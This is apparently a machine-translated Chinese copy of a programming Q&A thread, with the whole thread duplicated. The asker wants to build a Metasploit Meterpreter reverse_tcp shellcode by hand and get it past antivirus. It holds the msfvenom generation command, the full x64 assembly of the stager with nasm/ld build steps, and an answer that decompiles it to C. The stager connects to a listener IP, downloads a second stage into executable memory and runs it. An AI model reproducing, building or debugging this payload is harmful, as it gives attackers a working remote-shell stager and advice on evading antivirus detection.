X64 ASSEMBLY - 无法 运行 在 Windows 中编译和链接原始 shellcode
X64 ASSEMBLY - Cannot run compiled and linked raw shellcode in Windows
在我的 windows 10 机器上使用 metasploit 的 windows/x64/meterpreter/reverse_tcp shellcode（关闭 AV）后，我决定尝试创建一个手工制作的多态、无空和自定义编码版本相同的 shellcode（希望能避开我的反病毒软件）。
为了测试我的工作流程，我使用以下方法生成了 shellcode 的原始输出：
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -a x64 --platform windows LHOST='my IP address' | ndisasm -b 64 -
global _start
section .text
_start:
cld
and rsp,byte -0x10
call first_call ;dword 0xd6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx,rdx
mov rdx,[gs:rdx+0x60]
mov rdx,[rdx+0x18]
mov rdx,[rdx+0x20]
fifth_jmp:
mov rsi,[rdx+0x50]
movzx rcx,word [rdx+0x4a]
xor r9,r9
xor rax,rax
lodsb
cmp al,0x61
jl 0x37
sub al,0x20
ror r9d,0xd
add r9d,eax
loop 0x2d
push rdx
push r9
mov rdx,[rdx+0x20]
mov eax,[rdx+0x3c]
add rax,rdx
cmp word [rax+0x18],0x20b
jnz first_jmp ;dword 0xcb
mov eax,[rax+0x88]
test rax,rax
jz first_jmp ;0xcb
add rax,rdx
push rax
mov ecx,[rax+0x18]
mov r8d,[rax+0x20]
add r8,rdx
fourth_jmp:
jrcxz second_jmp ;0xca
dec rcx
mov esi,[r8+rcx*4]
add rsi,rdx
xor r9,r9
third_jmp:
xor rax,rax
lodsb
ror r9d,0xd
add r9d,eax
cmp al,ah
jnz third_jmp
add r9,[rsp+0x8]
cmp r9d,r10d
jnz fourth_jmp ;0x72
pop rax
mov r8d,[rax+0x24]
add r8,rdx
mov cx,[r8+rcx*2]
mov r8d,[rax+0x1c]
add r8,rdx
mov eax,[r8+rcx*4]
add rax,rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp,byte +0x20
push r10
jmp rax
second_jmp:
pop rax
first_jmp:
pop r9
pop rdx
mov rdx,[rdx]
jmp dword fifth_jmp ;0x21
first_call:
pop rbp
mov r14,0x32335f327377
push r14
mov r14,rsp
sub rsp,0x1a0
mov r13,rsp
mov r12,0x6900a8c05c110002
push r12
mov r12,rsp
mov rcx,r14
mov r10d,0x726774c
call rbp
mov rdx,r13
push dword 0x101
pop rcx
mov r10d,0x6b8029
call rbp
push byte +0x5
pop r14
ninth_jmp:
push rax
push rax
xor r9,r9
xor r8,r8
inc rax
mov rdx,rax
inc rax
mov rcx,rax
mov r10d,0xe0df0fea
call rbp
mov rdi,rax
sixth_jmp:
push byte +0x10
pop r8
mov rdx,r12
mov rcx,rdi
mov r10d,0x6174a599
call rbp
test eax,eax
jz 0x15e
dec r14
jnz sixth_jmp ;0x13e
call second_call ;dword 0x1f1
sub rsp,byte +0x10
mov rdx,rsp
xor r9,r9
push byte +0x4
pop r8
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp
cmp eax,byte +0x0
jng seventh_jmp ;0x1d1
add rsp,byte +0x20
pop rsi
mov esi,esi
push byte +0x40
pop r9
push dword 0x1000
pop r8
mov rdx,rsi
xor rcx,rcx
mov r10d,0xe553a458
call rbp
mov rbx,rax
mov r15,rax
tenth_jmp:
xor r9,r9
mov r8,rsi
mov rdx,rbx
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp
cmp eax,byte +0x0
jnl eighth_jmp ;0x1e3
pop rax
push r15
pop rcx
push dword 0x4000
pop r8
push byte +0x0
pop rdx
mov r10d,0x300f2f0b
call rbp
seventh_jmp:
push rdi
pop rcx
mov r10d,0x614d6e75
call rbp
dec r14
jmp ninth_jmp ;0x11f
eighth_jmp:
add rbx,rax
sub rsi,rax
test rsi,rsi
jnz tenth_jmp ;0x1a2
jmp r15
second_call:
pop rax
push byte +0x0
pop rcx
mov r10,0x56a2b5f0
call rbp
在对 ndisasm 输出进行任何更改之前（除了将 call 和 jmp 目标从相对地址修改为标签，参见上面的代码），我使用以下代码编译并链接了输出：
nasm -f win64 -o meterpreter_reverse_tcp.o meterpreter_reverse_tcp.asm
/opt/mingw/x86_64-w64-mingw32/bin/ld -o meterpreter_reverse_tcp.exe meterpreter_reverse_tcp.o
但是当我 运行 我的 windows 10 机器上的 .exe 时，我收到以下错误：
Meterpreter_reverse_tcp.exe 已停止工作。一个问题导致程序停止正常工作。 Windows 将关闭程序并在有可用解决方案时通知您。
命令'file meterpreter_reverse_tcp.exe'的输出是：
meterpreter_reverse_tcp.exe：PE32+ 可执行文件（控制台）x86-64（剥离到外部 PDB），适用于 MS Windows
我做错了什么？
你的 shell 代码如果将其转换为 c/c++ 是下一个：
LoadLibraryA("ws2_32");
WSADATA wd;
WSAStartup(MAKEWORD(1,1), &wd);
loop:
SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN sa = { AF_INET, _byteswap_ushort(4444) };
sa.sin_addr.s_addr = IP(192, 168, 0, 105);
// try 5 times connect to 192.168.0.105
int n = 5;
do
{
if (connect(s, (sockaddr*)&sa, sizeof(SOCKADDR_IN)) == NOERROR)
{
// we connected
break;
}
} while (--n);
ExitProcess(0);// !! error in shellcode or special damaged ?
ULONG len;
// get the length of shellcode
if (0 < recv(s, (char*)&len, sizeof(len), 0))
{
// allocate buffer for shellcode
PVOID pv = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buf = (char*)pv;
// download shellcode in loop
do
{
if (0 > (n = recv(s, buf, len, 0)))
{
// download fail
// bug !!
// must be MEM_RELEASE for free memory, but used MEM_DECOMMIT in code.
VirtualFree(pv, 0, MEM_DECOMMIT);
closesocket(s);
goto loop;
}
} while (buf += n, len -= n);
// all shellcode downloaded
// call it
((FARPROC)pv)();
}
ExitProcess(0);
据说在调试器下工作。如果某些东西不适合你 - 调试它。特别是将 bp 放在 jmp rax - shell 代码的开头是搜索导出的 api （通过哈希）并调用它的函数 (jmp rax)
在我的 windows 10 机器上使用 metasploit 的 windows/x64/meterpreter/reverse_tcp shellcode（关闭 AV）后，我决定尝试创建一个手工制作的多态、无空和自定义编码版本相同的 shellcode（希望能避开我的反病毒软件）。
为了测试我的工作流程，我使用以下方法生成了 shellcode 的原始输出：
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -a x64 --platform windows LHOST='my IP address' | ndisasm -b 64 -
global _start
section .text
_start:
cld
and rsp,byte -0x10
call first_call ;dword 0xd6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx,rdx
mov rdx,[gs:rdx+0x60]
mov rdx,[rdx+0x18]
mov rdx,[rdx+0x20]
fifth_jmp:
mov rsi,[rdx+0x50]
movzx rcx,word [rdx+0x4a]
xor r9,r9
xor rax,rax
lodsb
cmp al,0x61
jl 0x37
sub al,0x20
ror r9d,0xd
add r9d,eax
loop 0x2d
push rdx
push r9
mov rdx,[rdx+0x20]
mov eax,[rdx+0x3c]
add rax,rdx
cmp word [rax+0x18],0x20b
jnz first_jmp ;dword 0xcb
mov eax,[rax+0x88]
test rax,rax
jz first_jmp ;0xcb
add rax,rdx
push rax
mov ecx,[rax+0x18]
mov r8d,[rax+0x20]
add r8,rdx
fourth_jmp:
jrcxz second_jmp ;0xca
dec rcx
mov esi,[r8+rcx*4]
add rsi,rdx
xor r9,r9
third_jmp:
xor rax,rax
lodsb
ror r9d,0xd
add r9d,eax
cmp al,ah
jnz third_jmp
add r9,[rsp+0x8]
cmp r9d,r10d
jnz fourth_jmp ;0x72
pop rax
mov r8d,[rax+0x24]
add r8,rdx
mov cx,[r8+rcx*2]
mov r8d,[rax+0x1c]
add r8,rdx
mov eax,[r8+rcx*4]
add rax,rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp,byte +0x20
push r10
jmp rax
second_jmp:
pop rax
first_jmp:
pop r9
pop rdx
mov rdx,[rdx]
jmp dword fifth_jmp ;0x21
first_call:
pop rbp
mov r14,0x32335f327377
push r14
mov r14,rsp
sub rsp,0x1a0
mov r13,rsp
mov r12,0x6900a8c05c110002
push r12
mov r12,rsp
mov rcx,r14
mov r10d,0x726774c
call rbp
mov rdx,r13
push dword 0x101
pop rcx
mov r10d,0x6b8029
call rbp
push byte +0x5
pop r14
ninth_jmp:
push rax
push rax
xor r9,r9
xor r8,r8
inc rax
mov rdx,rax
inc rax
mov rcx,rax
mov r10d,0xe0df0fea
call rbp
mov rdi,rax
sixth_jmp:
push byte +0x10
pop r8
mov rdx,r12
mov rcx,rdi
mov r10d,0x6174a599
call rbp
test eax,eax
jz 0x15e
dec r14
jnz sixth_jmp ;0x13e
call second_call ;dword 0x1f1
sub rsp,byte +0x10
mov rdx,rsp
xor r9,r9
push byte +0x4
pop r8
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp
cmp eax,byte +0x0
jng seventh_jmp ;0x1d1
add rsp,byte +0x20
pop rsi
mov esi,esi
push byte +0x40
pop r9
push dword 0x1000
pop r8
mov rdx,rsi
xor rcx,rcx
mov r10d,0xe553a458
call rbp
mov rbx,rax
mov r15,rax
tenth_jmp:
xor r9,r9
mov r8,rsi
mov rdx,rbx
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp
cmp eax,byte +0x0
jnl eighth_jmp ;0x1e3
pop rax
push r15
pop rcx
push dword 0x4000
pop r8
push byte +0x0
pop rdx
mov r10d,0x300f2f0b
call rbp
seventh_jmp:
push rdi
pop rcx
mov r10d,0x614d6e75
call rbp
dec r14
jmp ninth_jmp ;0x11f
eighth_jmp:
add rbx,rax
sub rsi,rax
test rsi,rsi
jnz tenth_jmp ;0x1a2
jmp r15
second_call:
pop rax
push byte +0x0
pop rcx
mov r10,0x56a2b5f0
call rbp
在对 ndisasm 输出进行任何更改之前（除了将 call 和 jmp 目标从相对地址修改为标签，参见上面的代码），我使用以下代码编译并链接了输出：
nasm -f win64 -o meterpreter_reverse_tcp.o meterpreter_reverse_tcp.asm
/opt/mingw/x86_64-w64-mingw32/bin/ld -o meterpreter_reverse_tcp.exe meterpreter_reverse_tcp.o
但是当我 运行 我的 windows 10 机器上的 .exe 时，我收到以下错误：
Meterpreter_reverse_tcp.exe 已停止工作。一个问题导致程序停止正常工作。 Windows 将关闭程序并在有可用解决方案时通知您。
命令'file meterpreter_reverse_tcp.exe'的输出是：
meterpreter_reverse_tcp.exe：PE32+ 可执行文件（控制台）x86-64（剥离到外部 PDB），适用于 MS Windows
我做错了什么？
你的 shell 代码如果将其转换为 c/c++ 是下一个：
LoadLibraryA("ws2_32");
WSADATA wd;
WSAStartup(MAKEWORD(1,1), &wd);
loop:
SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN sa = { AF_INET, _byteswap_ushort(4444) };
sa.sin_addr.s_addr = IP(192, 168, 0, 105);
// try 5 times connect to 192.168.0.105
int n = 5;
do
{
if (connect(s, (sockaddr*)&sa, sizeof(SOCKADDR_IN)) == NOERROR)
{
// we connected
break;
}
} while (--n);
ExitProcess(0);// !! error in shellcode or special damaged ?
ULONG len;
// get the length of shellcode
if (0 < recv(s, (char*)&len, sizeof(len), 0))
{
// allocate buffer for shellcode
PVOID pv = VirtualAlloc(0, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buf = (char*)pv;
// download shellcode in loop
do
{
if (0 > (n = recv(s, buf, len, 0)))
{
// download fail
// bug !!
// must be MEM_RELEASE for free memory, but used MEM_DECOMMIT in code.
VirtualFree(pv, 0, MEM_DECOMMIT);
closesocket(s);
goto loop;
}
} while (buf += n, len -= n);
// all shellcode downloaded
// call it
((FARPROC)pv)();
}
ExitProcess(0);
据说在调试器下工作。如果某些东西不适合你 - 调试它。特别是将 bp 放在 jmp rax - shell 代码的开头是搜索导出的 api （通过哈希）并调用它的函数 (jmp rax)